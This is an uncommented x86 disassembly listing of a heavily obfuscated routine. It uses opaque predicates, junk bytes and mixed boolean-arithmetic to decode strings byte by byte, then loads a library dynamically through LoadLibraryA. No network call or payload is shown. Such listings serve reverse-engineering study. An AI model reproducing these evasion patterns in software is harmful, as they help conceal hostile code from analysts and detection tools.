movsx eax, byte [eax + ecx]
mov dword [esp + 0x4ec], eax
mov dword [esp + 0x14a4], 0x40220000
mov dword [esp + 0x14a0], 0
xor eax, eax
je 0x438aeb
add dl, dh
movups xmm0, xmmword [esp + 0x14a0]
movsd xmm0, qword [esp + 0x14a0]
movsx eax, byte [0x4a32f4]
cvtsi2sd xmm2, eax
movsx eax, byte [section..data]
cvtsi2sd xmm1, eax
movaps xmm3, xmmword [0x49a0e0]
pxor xmm1, xmm3
addsd xmm1, xmm1
addsd xmm1, xmm2
mulsd xmm0, xmm1
movsd qword [esp + 0x1498], xmm0
mov al, byte [0x4a3001]
movsx eax, al
mov dword [esp + 0x4f0], eax
call fcn.00434870
mov cl, al
mov eax, dword [esp + 0x4f0]
movsx ecx, cl
add eax, ecx
mov dword [esp + 0x4f8], eax
call fcn.00434880
movsx eax, al
imul eax, eax, 0xa
mov dword [esp + 0x4f4], eax
call fcn.00434890
mov ecx, dword [esp + 0x4f4]
mov dl, al
mov eax, dword [esp + 0x4f8]
movsx edx, dl
imul ecx, edx
add eax, ecx
mov cl, byte [0x4a3002]
movsx ecx, cl
xor edx, edx
div ecx
mov cl, byte [0x4a3003]
movsx ecx, cl
sub eax, ecx
cmp eax, 0
je 0x438c1b
mov al, byte [section..data]
movsx eax, al
mov dword [esp + 0x4e0], eax
call fcn.00434840
mov cl, al
mov eax, dword [esp + 0x4e0]
movsx ecx, cl
add eax, ecx
mov dword [esp + 0x4e4], eax
call fcn.00434850
mov cl, al
mov eax, dword [esp + 0x4e4]
movsx ecx, cl
imul ecx, ecx, 5
mov dl, byte [0x4a4201]
movsx edx, dl
imul ecx, edx
add eax, ecx
mov dword [esp + 0x4e8], eax
call fcn.00434860
mov cl, al
mov eax, dword [esp + 0x4e8]
movsx ecx, cl
sub eax, ecx
cmp eax, 0
je 0x438c19
mov dword [esp + 0x14ac], 0xa
jmp 0x438d48
jmp 0x438c1b
mov al, byte [0x4a3001]
movsx eax, al
mov dword [esp + 0x4d4], eax
call fcn.00434870
mov cl, al
mov eax, dword [esp + 0x4d4]
movsx ecx, cl
add eax, ecx
mov dword [esp + 0x4dc], eax
call fcn.00434880
movsx eax, al
shl eax, 1
mov dword [esp + 0x4d8], eax
call fcn.00434890
mov ecx, dword [esp + 0x4d8]
mov dl, al
mov eax, dword [esp + 0x4dc]
movsx edx, dl
imul ecx, edx
add eax, ecx
mov cl, byte [0x4a3002]
movsx ecx, cl
xor edx, edx
div ecx
mov cl, byte [0x4a3003]
movsx ecx, cl
sub eax, ecx
cmp eax, 0
je 0x438d46
movsd xmm0, qword [esp + 0x1498]
movsd qword [esp + 0x4c8], xmm0
movsx eax, byte [0x4a3001]
mov dword [esp + 0x4c0], eax
call fcn.00434870
mov cl, al
mov eax, dword [esp + 0x4c0]
movsx ecx, cl
add eax, ecx
mov dword [esp + 0x4d0], eax
call fcn.00434880
movsx eax, al
mov dword [esp + 0x4c4], eax
call fcn.00434890
mov ecx, dword [esp + 0x4c4]
movsd xmm0, qword [esp + 0x4c8]
mov dl, al
mov eax, dword [esp + 0x4d0]
movsx edx, dl
imul ecx, edx
lea ecx, [ecx + ecx*2]
lea eax, [eax + ecx*2]
movsx ecx, byte [0x4a3002]
xor edx, edx
div ecx
movsx ecx, byte [0x4a3003]
sub eax, ecx
movd xmm1, eax
movaps xmm2, xmmword [0x49a0f0]
por xmm1, xmm2
movsd xmm2, qword [0x49a100]
subsd xmm1, xmm2
mulsd xmm0, xmm1
cvttsd2si eax, xmm0
mov dword [esp + 0x14ac], eax
jmp 0x438d48
ud2
mov eax, dword [esp + 0x4ec]
mov ecx, dword [esp + 0x14ac]
add eax, ecx
mov dword [esp + 0x4ac], eax
mov eax, dword [esp + 0x147c]
mov ecx, dword [esp + 0x1478]
movsx eax, byte [eax + ecx]
mov dword [esp + 0x4b0], eax
mov dword [esp + 0x148c], 0x40220000
mov dword [esp + 0x1488], 0
xor eax, eax
je 0x438d93
add dl, dh
movups xmm0, xmmword [esp + 0x1488]
movsd xmm0, qword [esp + 0x1488]
movsx eax, byte [0x4a32f4]
cvtsi2sd xmm2, eax
movsx eax, byte [section..data]
cvtsi2sd xmm1, eax
movaps xmm3, xmmword [0x49a0e0]
pxor xmm1, xmm3
addsd xmm1, xmm1
addsd xmm1, xmm2
mulsd xmm0, xmm1
movsd qword [esp + 0x1480], xmm0
mov al, byte [0x4a3001]
movsx eax, al
mov dword [esp + 0x4b4], eax
call fcn.00434870
mov cl, al
mov eax, dword [esp + 0x4b4]
movsx ecx, cl
add eax, ecx
mov dword [esp + 0x4bc], eax
call fcn.00434880
movsx eax, al
imul eax, eax, 0xa
mov dword [esp + 0x4b8], eax
call fcn.00434890
mov ecx, dword [esp + 0x4b8]
mov dl, al
mov eax, dword [esp + 0x4bc]
movsx edx, dl
imul ecx, edx
add eax, ecx
mov cl, byte [0x4a3002]
movsx ecx, cl
xor edx, edx
div ecx
mov cl, byte [0x4a3003]
movsx ecx, cl
sub eax, ecx
cmp eax, 0
je 0x438ec3
mov al, byte [section..data]
movsx eax, al
mov dword [esp + 0x4a0], eax
call fcn.00434840
mov cl, al
mov eax, dword [esp + 0x4a0]
movsx ecx, cl
add eax, ecx
mov dword [esp + 0x4a4], eax
call fcn.00434850
mov cl, al
mov eax, dword [esp + 0x4a4]
movsx ecx, cl
imul ecx, ecx, 5
mov dl, byte [0x4a4201]
movsx edx, dl
imul ecx, edx
add eax, ecx
mov dword [esp + 0x4a8], eax
call fcn.00434860
mov cl, al
mov eax, dword [esp + 0x4a8]
movsx ecx, cl
sub eax, ecx
cmp eax, 0
je 0x438ec1
mov dword [esp + 0x1494], 0xa
jmp 0x438ff0
jmp 0x438ec3
mov al, byte [0x4a3001]
movsx eax, al
mov dword [esp + 0x494], eax
call fcn.00434870
mov cl, al
mov eax, dword [esp + 0x494]
movsx ecx, cl
add eax, ecx
mov dword [esp + 0x49c], eax
call fcn.00434880
movsx eax, al
shl eax, 1
mov dword [esp + 0x498], eax
call fcn.00434890
mov ecx, dword [esp + 0x498]
mov dl, al
mov eax, dword [esp + 0x49c]
movsx edx, dl
imul ecx, edx
add eax, ecx
mov cl, byte [0x4a3002]
movsx ecx, cl
xor edx, edx
div ecx
mov cl, byte [0x4a3003]
movsx ecx, cl
sub eax, ecx
cmp eax, 0
je 0x438fee
movsd xmm0, qword [esp + 0x1480]
movsd qword [esp + 0x488], xmm0
movsx eax, byte [0x4a3001]
mov dword [esp + 0x480], eax
call fcn.00434870
mov cl, al
mov eax, dword [esp + 0x480]
movsx ecx, cl
add eax, ecx
mov dword [esp + 0x490], eax
call fcn.00434880
movsx eax, al
mov dword [esp + 0x484], eax
call fcn.00434890
mov ecx, dword [esp + 0x484]
movsd xmm0, qword [esp + 0x488]
mov dl, al
mov eax, dword [esp + 0x490]
movsx edx, dl
imul ecx, edx
lea ecx, [ecx + ecx*2]
lea eax, [eax + ecx*2]
movsx ecx, byte [0x4a3002]
xor edx, edx
div ecx
movsx ecx, byte [0x4a3003]
sub eax, ecx
movd xmm1, eax
movaps xmm2, xmmword [0x49a0f0]
por xmm1, xmm2
movsd xmm2, qword [0x49a100]
subsd xmm1, xmm2
mulsd xmm0, xmm1
cvttsd2si eax, xmm0
mov dword [esp + 0x1494], eax
jmp 0x438ff0
ud2
mov eax, dword [esp + 0x4ac]
mov ecx, dword [esp + 0x4b0]
and ecx, dword [esp + 0x1494]
shl ecx, 1
sub eax, ecx
mov dl, al
mov eax, dword [esp + 0x147c]
mov ecx, dword [esp + 0x1478]
mov byte [eax + ecx], dl
mov eax, dword [esp + 0x1478]
add eax, 1
mov dword [esp + 0x1478], eax
jmp 0x43725f
jmp 0x439034
jmp 0x439036
mov eax, dword [esp + 0x738]
mov byte [eax], 1
add eax, 1
mov dword [esp + 0x47c], eax
jmp 0x43904c
mov ecx, dword [esp + 0x47c]
mov eax, esp
mov dword [eax], ecx
mov eax, dword [sym.imp.KERNEL32.dll_LoadLibraryA]
call eax
sub esp, 4
mov dword [esp + 0x478], eax
jmp 0x43906a
mov eax, dword [esp + 0x478]
mov dword [esp + 0x8b8], eax
mov eax, esp
lea ecx, [esp + 0x891]
mov dword [eax], ecx
lea ecx, [esp + 0x892]
call fcn.0043edc0
sub esp, 4
jmp 0x439094
lea eax, [esp + 0x892]
mov dword [esp + 0x990], eax
mov eax, dword [esp + 0x990]
mov dword [esp + 0x156c], eax
mov eax, dword [esp + 0x156c]
mov dword [esp + 0x474], eax
test byte [eax], 1
jne 0x43aeba
mov eax, dword [esp + 0x474]
add eax, 1
mov dword [esp + 0x1574], eax
mov dword [esp + 0x1570], 0
mov eax, dword [esp + 0x1570]
cmp eax, 0x15
jae 0x43aeb6
mov al, byte [section..data]
movsx eax, al
mov dword [esp + 0x468], eax
call fcn.00434840
mov cl, al
mov eax, dword [esp + 0x468]
movsx ecx, cl
add eax, ecx
mov dword [esp + 0x46c], eax
call fcn.00434850
mov cl, al
mov eax, dword [esp + 0x46c]
movsx ecx, cl
imul ecx, ecx, 7
mov dl, byte [0x4a4201]
movsx edx, dl
imul ecx, edx
add eax, ecx
mov dword [esp + 0x470], eax
call fcn.00434860
mov cl, al
mov eax, dword [esp + 0x470]
movsx ecx, cl
sub eax, ecx
cmp eax, 0
je 0x4396c6
mov eax, dword [esp + 0x1574]
mov ecx, dword [esp + 0x1570]
movsx eax, byte [eax + ecx]
mov dword [esp + 0x458], eax
mov dword [esp + 0x165c], 0x401c0000
mov dword [esp + 0x1658], 0
xor eax, eax
je 0x439195
add dl, dh
movups xmm0, xmmword [esp + 0x1658]
movsd xmm0, qword [esp + 0x1658]
movsx eax, byte [0x4a32f4]
cvtsi2sd xmm2, eax
movsx eax, byte [section..data]
cvtsi2sd xmm1, eax
movaps xmm3, xmmword [0x49a0e0]
pxor xmm1, xmm3
addsd xmm1, xmm1
addsd xmm1, xmm2
mulsd xmm0, xmm1
movsd qword [esp + 0x1650], xmm0
mov al, byte [0x4a3001]
movsx eax, al
mov dword [esp + 0x45c], eax
call fcn.00434870
mov cl, al
mov eax, dword [esp + 0x45c]
movsx ecx, cl
add eax, ecx
mov dword [esp + 0x464], eax
call fcn.00434880
movsx eax, al
imul eax, eax, 0xa
mov dword [esp + 0x460], eax
call fcn.00434890
mov ecx, dword [esp + 0x460]
mov dl, al
mov eax, dword [esp + 0x464]
movsx edx, dl
imul ecx, edx
add eax, ecx
mov cl, byte [0x4a3002]
movsx ecx, cl
xor edx, edx
div ecx
mov cl, byte [0x4a3003]
movsx ecx, cl
sub eax, ecx
cmp eax, 0
je 0x4392c5
mov al, byte [section..data]
movsx eax, al
mov dword [esp + 0x44c], eax
call fcn.00434840
mov cl, al
mov eax, dword [esp + 0x44c]
movsx ecx, cl
add eax, ecx
mov dword [esp + 0x450], eax
call fcn.00434850
mov cl, al
mov eax, dword [esp + 0x450]
movsx ecx, cl
imul ecx, ecx, 5
mov dl, byte [0x4a4201]
movsx edx, dl
imul ecx, edx
add eax, ecx
mov dword [esp + 0x454], eax
call fcn.00434860
mov cl, al
mov eax, dword [esp + 0x454]
movsx ecx, cl
sub eax, ecx
cmp eax, 0
je 0x4392c3
mov dword [esp + 0x1664], 0xa
jmp 0x4393f2
jmp 0x4392c5
mov al, byte [0x4a3001]
movsx eax, al
mov dword [esp + 0x440], eax
call fcn.00434870
mov cl, al
mov eax, dword [esp + 0x440]
movsx ecx, cl
add eax, ecx
mov dword [esp + 0x448], eax
call fcn.00434880
movsx eax, al
shl eax, 1
mov dword [esp + 0x444], eax
call fcn.00434890
mov ecx, dword [esp + 0x444]
mov dl, al
mov eax, dword [esp + 0x448]
movsx edx, dl
imul ecx, edx
add eax, ecx
mov cl, byte [0x4a3002]
movsx ecx, cl
xor edx, edx
div ecx
mov cl, byte [0x4a3003]
movsx ecx, cl
sub eax, ecx
cmp eax, 0
je 0x4393f0
movsd xmm0, qword [esp + 0x1650]
movsd qword [esp + 0x430], xmm0
movsx eax, byte [0x4a3001]
mov dword [esp + 0x428], eax
call fcn.00434870
mov cl, al
mov eax, dword [esp + 0x428]
movsx ecx, cl
add eax, ecx
mov dword [esp + 0x43c], eax
call fcn.00434880
movsx eax, al
mov dword [esp + 0x42c], eax
call fcn.00434890
mov ecx, dword [esp + 0x42c]
movsd xmm0, qword [esp + 0x430]
mov dl, al
mov eax, dword [esp + 0x43c]
movsx edx, dl
imul ecx, edx
lea ecx, [ecx + ecx*2]
lea eax, [eax + ecx*2]
movsx ecx, byte [0x4a3002]
xor edx, edx
div ecx
movsx ecx, byte [0x4a3003]
sub eax, ecx
movd xmm1, eax
movaps xmm2, xmmword [0x49a0f0]
por xmm1, xmm2
movsd xmm2, qword [0x49a100]
subsd xmm1, xmm2
mulsd xmm0, xmm1
cvttsd2si eax, xmm0
mov dword [esp + 0x1664], eax
jmp 0x4393f2
ud2
mov eax, dword [esp + 0x458]
mov ecx, dword [esp + 0x1664]
add eax, ecx
mov dword [esp + 0x414], eax
mov eax, dword [esp + 0x1574]
mov ecx, dword [esp + 0x1570]
movsx eax, byte [eax + ecx]
mov dword [esp + 0x418], eax
mov dword [esp + 0x1644], 0x401c0000
mov dword [esp + 0x1640], 0
xor eax, eax
je 0x43943d
add dl, dh
movups xmm0, xmmword [esp + 0x1640]
movsd xmm0, qword [esp + 0x1640]
movsx eax, byte [0x4a32f4]
cvtsi2sd xmm2, eax
movsx eax, byte [section..data]
cvtsi2sd xmm1, eax
movaps xmm3, xmmword [0x49a0e0]
pxor xmm1, xmm3
addsd xmm1, xmm1
addsd xmm1, xmm2
mulsd xmm0, xmm1
movsd qword [esp + 0x1638], xmm0
mov al, byte [0x4a3001]
movsx eax, al
mov dword [esp + 0x41c], eax
call fcn.00434870
mov cl, al
mov eax, dword [esp + 0x41c]
movsx ecx, cl
add eax, ecx
mov dword [esp + 0x424], eax
call fcn.00434880
movsx eax, al
imul eax, eax, 0xa
mov dword [esp + 0x420], eax
call fcn.00434890
mov ecx, dword [esp + 0x420]
mov dl, al
mov eax, dword [esp + 0x424]
movsx edx, dl
imul ecx, edx
add eax, ecx
mov cl, byte [0x4a3002]
movsx ecx, cl
xor edx, edx
div ecx
mov cl, byte [0x4a3003]
movsx ecx, cl
sub eax, ecx
cmp eax, 0
je 0x43956d
mov al, byte [section..data]
movsx eax, al
mov dword [esp + 0x408], eax
call fcn.00434840
mov cl, al
mov eax, dword [esp + 0x408]
movsx ecx, cl
add eax, ecx
mov dword [esp + 0x40c], eax
call fcn.00434850
mov cl, al
mov eax, dword [esp + 0x40c]
movsx ecx, cl
imul ecx, ecx, 5
mov dl, byte [0x4a4201]
movsx edx, dl
imul ecx, edx
add eax, ecx
mov dword [esp + 0x410], eax
call fcn.00434860
mov cl, al
mov eax, dword [esp + 0x410]
movsx ecx, cl
sub eax, ecx
cmp eax, 0
je 0x43956b
mov dword [esp + 0x164c], 0xa
jmp 0x43969a
jmp 0x43956d
mov al, byte [0x4a3001]
movsx eax, al
mov dword [esp + 0x3fc], eax
call fcn.00434870
mov cl, al
mov eax, dword [esp + 0x3fc]
movsx ecx, cl
add eax, ecx
mov dword [esp + 0x404], eax
call fcn.00434880
movsx eax, al
shl eax, 1
mov dword [esp + 0x400], eax
call fcn.00434890
mov ecx, dword [esp + 0x400]
mov dl, al
mov eax, dword [esp + 0x404]
movsx edx, dl
imul ecx, edx
add eax, ecx
mov cl, byte [0x4a3002]
movsx ecx, cl
xor edx, edx
div ecx
mov cl, byte [0x4a3003]
movsx ecx, cl
sub eax, ecx
cmp eax, 0
je 0x439698
movsd xmm0, qword [esp + 0x1638]
movsd qword [esp + 0x3f0], xmm0
movsx eax, byte [0x4a3001]
mov dword [esp + 0x3e8], eax
call fcn.00434870
mov cl, al
mov eax, dword [esp + 0x3e8]
movsx ecx, cl
add eax, ecx
mov dword [esp + 0x3f8], eax
call fcn.00434880
movsx eax, al
mov dword [esp + 0x3ec], eax
call fcn.00434890
mov ecx, dword [esp + 0x3ec]
movsd xmm0, qword [esp + 0x3f0]
mov dl, al
mov eax, dword [esp + 0x3f8]
movsx edx, dl
imul ecx, edx
lea ecx, [ecx + ecx*2]
lea eax, [eax + ecx*2]
movsx ecx, byte [0x4a3002]
xor edx, edx
div ecx
movsx ecx, byte [0x4a3003]
sub eax, ecx
movd xmm1, eax
movaps xmm2, xmmword [0x49a0f0]
por xmm1, xmm2
movsd xmm2, qword [0x49a100]
subsd xmm1, xmm2
mulsd xmm0, xmm1
cvttsd2si eax, xmm0
mov dword [esp + 0x164c], eax
jmp 0x43969a
ud2
mov eax, dword [esp + 0x414]
mov ecx, dword [esp + 0x418]
and ecx, dword [esp + 0x164c]
shl ecx, 1
sub eax, ecx
mov dl, al
mov eax, dword [esp + 0x1574]
mov ecx, dword [esp + 0x1570]
mov byte [eax + ecx], dl
mov al, byte [0x4a3001]
movsx eax, al
mov dword [esp + 0x3dc], eax
call fcn.00434870
mov cl, al
mov eax, dword [esp + 0x3dc]
movsx ecx, cl
add eax, ecx
mov dword [esp + 0x3e4], eax
call fcn.00434880
movsx eax, al
imul eax, eax, 9
mov dword [esp + 0x3e0], eax
call fcn.00434890
mov ecx, dword [esp + 0x3e0]
mov dl, al
mov eax, dword [esp + 0x3e4]
movsx edx, dl
imul ecx, edx
add eax, ecx
mov cl, byte [0x4a3002]
movsx ecx, cl
xor edx, edx
div ecx
mov cl, byte [0x4a3003]
movsx ecx, cl
sub eax, ecx
cmp eax, 0
je 0x43a8cd
mov al, byte [section..data]
movsx eax, al
mov dword [esp + 0x3d0], eax
call fcn.00434840
mov cl, al
mov eax, dword [esp + 0x3d0]
movsx ecx, cl
add eax, ecx
mov dword [esp + 0x3d4], eax
call fcn.00434850
mov cl, al
mov eax, dword [esp + 0x3d4]
movsx ecx, cl
shl ecx, 3
mov dl, byte [0x4a4201]
movsx edx, dl
imul ecx, edx
add eax, ecx
mov dword [esp + 0x3d8], eax
call fcn.00434860
mov cl, al
mov eax, dword [esp + 0x3d8]
movsx ecx, cl
sub eax, ecx
cmp eax, 0
je 0x439d12
mov eax, dword [esp + 0x1574]
mov ecx, dword [esp + 0x1570]
movsx eax, byte [eax + ecx]
mov dword [esp + 0x3c0], eax
mov dword [esp + 0x162c], 0x40200000
mov dword [esp + 0x1628], 0
xor eax, eax
je 0x4397e1
add dl, dh
movups xmm0, xmmword [esp + 0x1628]
movsd xmm0, qword [esp + 0x1628]
movsx eax, byte [0x4a32f4]
cvtsi2sd xmm2, eax
movsx eax, byte [section..data]
cvtsi2sd xmm1, eax
movaps xmm3, xmmword [0x49a0e0]
pxor xmm1, xmm3
addsd xmm1, xmm1
addsd xmm1, xmm2
mulsd xmm0, xmm1
movsd qword [esp + 0x1620], xmm0
mov al, byte [0x4a3001]
movsx eax, al
mov dword [esp + 0x3c4], eax
call fcn.00434870
mov cl, al
mov eax, dword [esp + 0x3c4]
movsx ecx, cl
add eax, ecx
mov dword [esp + 0x3cc], eax
call fcn.00434880
movsx eax, al
imul eax, eax, 0xa
mov dword [esp + 0x3c8], eax
call fcn.00434890
mov ecx, dword [esp + 0x3c8]
mov dl, al
mov eax, dword [esp + 0x3cc]
movsx edx, dl
imul ecx, edx
add eax, ecx
mov cl, byte [0x4a3002]
movsx ecx, cl
xor edx, edx
div ecx
mov cl, byte [0x4a3003]
movsx ecx, cl
sub eax, ecx
cmp eax, 0
je 0x439911
mov al, byte [section..data]
movsx eax, al
mov dword [esp + 0x3b4], eax
call fcn.00434840
mov cl, al
mov eax, dword [esp + 0x3b4]
movsx ecx, cl
add eax, ecx
mov dword [esp + 0x3b8], eax
call fcn.00434850
mov cl, al
mov eax, dword [esp + 0x3b8]
movsx ecx, cl
imul ecx, ecx, 5
mov dl, byte [0x4a4201]
movsx edx, dl
imul ecx, edx
add eax, ecx
mov dword [esp + 0x3bc], eax
call fcn.00434860
mov cl, al
mov eax, dword [esp + 0x3bc]
movsx ecx, cl
sub eax, ecx
cmp eax, 0
je 0x43990f
mov dword [esp + 0x1634], 0xa
jmp 0x439a3e
jmp 0x439911
mov al, byte [0x4a3001]
movsx eax, al
mov dword [esp + 0x3a8], eax
call fcn.00434870
mov cl, al
mov eax, dword [esp + 0x3a8]
movsx ecx, cl
add eax, ecx
mov dword [esp + 0x3b0], eax
call fcn.00434880
movsx eax, al
shl eax, 1
mov dword [esp + 0x3ac], eax
call fcn.00434890
mov ecx, dword [esp + 0x3ac]
mov dl, al
mov eax, dword [esp + 0x3b0]
movsx edx, dl
imul ecx, edx
add eax, ecx
mov cl, byte [0x4a3002]
movsx ecx, cl
xor edx, edx
div ecx
mov cl, byte [0x4a3003]
movsx ecx, cl
sub eax, ecx
cmp eax, 0
je 0x439a3c
movsd xmm0, qword [esp + 0x1620]
movsd qword [esp + 0x398], xmm0
movsx eax, byte [0x4a3001]
mov dword [esp + 0x390], eax
call fcn.00434870
mov cl, al
mov eax, dword [esp + 0x390]
movsx ecx, cl
add eax, ecx
mov dword [esp + 0x3a4], eax
call fcn.00434880
movsx eax, al
mov dword [esp + 0x394], eax
call fcn.00434890
mov ecx, dword [esp + 0x394]
movsd xmm0, qword [esp + 0x398]
mov dl, al
mov eax, dword [esp + 0x3a4]
movsx edx, dl
imul ecx, edx
lea ecx, [ecx + ecx*2]
lea eax, [eax + ecx*2]
movsx ecx, byte [0x4a3002]
xor edx, edx
div ecx
movsx ecx, byte [0x4a3003]
sub eax, ecx
movd xmm1, eax
movaps xmm2, xmmword [0x49a0f0]
por xmm1, xmm2
movsd xmm2, qword [0x49a100]
subsd xmm1, xmm2
mulsd xmm0, xmm1
cvttsd2si eax, xmm0
mov dword [esp + 0x1634], eax
jmp 0x439a3e
ud2
mov eax, dword [esp + 0x3c0]
mov ecx, dword [esp + 0x1634]
add eax, ecx
mov dword [esp + 0x37c], eax
mov eax, dword [esp + 0x1574]
mov ecx, dword [esp + 0x1570]
movsx eax, byte [eax + ecx]
mov dword [esp + 0x380], eax
mov dword [esp + 0x1614], 0x40200000
mov dword [esp + 0x1610], 0
xor eax, eax
je 0x439a89
add dl, dh
movups xmm0, xmmword [esp + 0x1610]
movsd xmm0, qword [esp + 0x1610]
movsx eax, byte [0x4a32f4]
cvtsi2sd xmm2, eax
movsx eax, byte [section..data]
cvtsi2sd xmm1, eax
movaps xmm3, xmmword [0x49a0e0]
pxor xmm1, xmm3
addsd xmm1, xmm1
addsd xmm1, xmm2
mulsd xmm0, xmm1
movsd qword [esp + 0x1608], xmm0
mov al, byte [0x4a3001]
movsx eax, al
mov dword [esp + 0x384], eax
call fcn.00434870
mov cl, al
mov eax, dword [esp + 0x384]
movsx ecx, cl
add eax, ecx
mov dword [esp + 0x38c], eax
call fcn.00434880
movsx eax, al
imul eax, eax, 0xa
mov dword [esp + 0x388], eax
call fcn.00434890
mov ecx, dword [esp + 0x388]
mov dl, al
mov eax, dword [esp + 0x38c]
movsx edx, dl
imul ecx, edx
add eax, ecx
mov cl, byte [0x4a3002]
movsx ecx, cl
xor edx, edx
div ecx
mov cl, byte [0x4a3003]
movsx ecx, cl
sub eax, ecx
cmp eax, 0
je 0x439bb9
mov al, byte [section..data]
movsx eax, al
mov dword [esp + 0x370], eax
call fcn.00434840
mov cl, al
mov eax, dword [esp + 0x370]
movsx ecx, cl
add eax, ecx
mov dword [esp + 0x374], eax
call fcn.00434850
mov cl, al
mov eax, dword [esp + 0x374]
movsx ecx, cl
imul ecx, ecx, 5
mov dl, byte [0x4a4201]
movsx edx, dl
imul ecx, edx
add eax, ecx
mov dword [esp + 0x378], eax
call fcn.00434860
mov cl, al
mov eax, dword [esp + 0x378]
movsx ecx, cl
sub eax, ecx
cmp eax, 0
je 0x439bb7
mov dword [esp + 0x161c], 0xa
jmp 0x439ce6
jmp 0x439bb9
mov al, byte [0x4a3001]
movsx eax, al
mov dword [esp + 0x364], eax
call fcn.00434870
mov cl, al
mov eax, dword [esp + 0x364]
movsx ecx, cl
add eax, ecx
mov dword [esp + 0x36c], eax
call fcn.00434880
movsx eax, al
shl eax, 1
mov dword [esp + 0x368], eax
call fcn.00434890
mov ecx, dword [esp + 0x368]
mov dl, al
mov eax, dword [esp + 0x36c]
movsx edx, dl
imul ecx, edx
add eax, ecx
mov cl, byte [0x4a3002]
movsx ecx, cl
xor edx, edx
div ecx
mov cl, byte [0x4a3003]
movsx ecx, cl
sub eax, ecx
cmp eax, 0
je 0x439ce4
movsd xmm0, qword [esp + 0x1608]
movsd qword [esp + 0x358], xmm0
movsx eax, byte [0x4a3001]
mov dword [esp + 0x350], eax
call fcn.00434870
mov cl, al
mov eax, dword [esp + 0x350]
movsx ecx, cl
add eax, ecx
mov dword [esp + 0x360], eax
call fcn.00434880
movsx eax, al
mov dword [esp + 0x354], eax
call fcn.00434890
mov ecx, dword [esp + 0x354]
movsd xmm0, qword [esp + 0x358]
mov dl, al
mov eax, dword [esp + 0x360]
movsx edx, dl
imul ecx, edx
lea ecx, [ecx + ecx*2]
lea eax, [eax + ecx*2]
movsx ecx, byte [0x4a3002]
xor edx, edx
div ecx
movsx ecx, byte [0x4a3003]
sub eax, ecx
movd xmm1, eax
movaps xmm2, xmmword [0x49a0f0]
por xmm1, xmm2
movsd xmm2, qword [0x49a100]
subsd xmm1, xmm2
mulsd xmm0, xmm1
cvttsd2si eax, xmm0
mov dword [esp + 0x161c], eax
jmp 0x439ce6
ud2
mov eax, dword [esp + 0x37c]
mov ecx, dword [esp + 0x380]
and ecx, dword [esp + 0x161c]
shl ecx, 1
sub eax, ecx
mov dl, al
mov eax, dword [esp + 0x1574]
mov ecx, dword [esp + 0x1570]
mov byte [eax + ecx], dl
mov al, byte [section..data]
movsx eax, al
mov dword [esp + 0x344], eax
call fcn.00434840
mov cl, al
mov eax, dword [esp + 0x344]
movsx ecx, cl
add eax, ecx
mov dword [esp + 0x348], eax
call fcn.00434850
mov cl, al
mov eax, dword [esp + 0x348]
movsx ecx, cl
imul ecx, ecx, 3
mov dl, byte [0x4a4201]
movsx edx, dl
imul ecx, edx
add eax, ecx
mov dword [esp + 0x34c], eax
call fcn.00434860
mov cl, al
mov eax, dword [esp + 0x34c]
movsx ecx, cl
sub eax, ecx
cmp eax, 0
je 0x43a2e5
mov eax, dword [esp + 0x1574]
mov ecx, dword [esp + 0x1570]
movsx eax, byte [eax + ecx]
mov dword [esp + 0x334], eax
mov dword [esp + 0x15fc], 0x40220000
mov dword [esp + 0x15f8], 0
xor eax, eax
je 0x439db4
add dl, dh
movups xmm0, xmmword [esp + 0x15f8]
movsd xmm0, qword [esp + 0x15f8]
movsx eax, byte [0x4a32f4]
cvtsi2sd xmm2, eax
movsx eax, byte [section..data]
cvtsi2sd xmm1, eax
movaps xmm3, xmmword [0x49a0e0]
pxor xmm1, xmm3
addsd xmm1, xmm1
addsd xmm1, xmm2
mulsd xmm0, xmm1
movsd qword [esp + 0x15f0], xmm0
mov al, byte [0x4a3001]
movsx eax, al
mov dword [esp + 0x338], eax
call fcn.00434870
mov cl, al
mov eax, dword [esp + 0x338]
movsx ecx, cl
add eax, ecx
mov dword [esp + 0x340], eax
call fcn.00434880
movsx eax, al
imul eax, eax, 0xa
mov dword [esp + 0x33c], eax
call fcn.00434890
mov ecx, dword [esp + 0x33c]
mov dl, al
mov eax, dword [esp + 0x340]
movsx edx, dl
imul ecx, edx
add eax, ecx
mov cl, byte [0x4a3002]
movsx ecx, cl
xor edx, edx
div ecx
mov cl, byte [0x4a3003]
movsx ecx, cl
sub eax, ecx
cmp eax, 0
je 0x439ee4
mov al, byte [section..data]
movsx eax, al
mov dword [esp + 0x328], eax
call fcn.00434840
mov cl, al
mov eax, dword [esp + 0x328]
movsx ecx, cl
add eax, ecx
mov dword [esp + 0x32c], eax
call fcn.00434850
mov cl, al
mov eax, dword [esp + 0x32c]
movsx ecx, cl
imul ecx, ecx, 5
mov dl, byte [0x4a4201]
movsx edx, dl
imul ecx, edx
add eax, ecx
mov dword [esp + 0x330], eax
call fcn.00434860
mov cl, al
mov eax, dword [esp + 0x330]
movsx ecx, cl
sub eax, ecx
cmp eax, 0
je 0x439ee2
mov dword [esp + 0x1604], 0xa
jmp 0x43a011
jmp 0x439ee4
mov al, byte [0x4a3001]
movsx eax, al
mov dword [esp + 0x31c], eax
call fcn.00434870
mov cl, al
mov eax, dword [esp + 0x31c]
movsx ecx, cl
add eax, ecx
mov dword [esp + 0x324], eax
call fcn.00434880
movsx eax, al
shl eax, 1
mov dword [esp + 0x320], eax
call fcn.00434890
mov ecx, dword [esp + 0x320]
mov dl, al
mov eax, dword [esp + 0x324]
movsx edx, dl
imul ecx, edx
add eax, ecx
mov cl, byte [0x4a3002]
movsx ecx, cl
xor edx, edx
div ecx
mov cl, byte [0x4a3003]
movsx ecx, cl
sub eax, ecx
cmp eax, 0
je 0x43a00f
movsd xmm0, qword [esp + 0x15f0]
movsd qword [esp + 0x310], xmm0
movsx eax, byte [0x4a3001]
mov dword [esp + 0x308], eax
call fcn.00434870
mov cl, al
mov eax, dword [esp + 0x308]
movsx ecx, cl
add eax, ecx
mov dword [esp + 0x318], eax
call fcn.00434880
movsx eax, al
mov dword [esp + 0x30c], eax
call fcn.00434890
mov ecx, dword [esp + 0x30c]
movsd xmm0, qword [esp + 0x310]
mov dl, al
mov eax, dword [esp + 0x318]
movsx edx, dl
imul ecx, edx
lea ecx, [ecx + ecx*2]
lea eax, [eax + ecx*2]
movsx ecx, byte [0x4a3002]
xor edx, edx
div ecx
movsx ecx, byte [0x4a3003]
sub eax, ecx
movd xmm1, eax
movaps xmm2, xmmword [0x49a0f0]
por xmm1, xmm2
movsd xmm2, qword [0x49a100]
subsd xmm1, xmm2
mulsd xmm0, xmm1
cvttsd2si eax, xmm0
mov dword [esp + 0x1604], eax
jmp 0x43a011
ud2
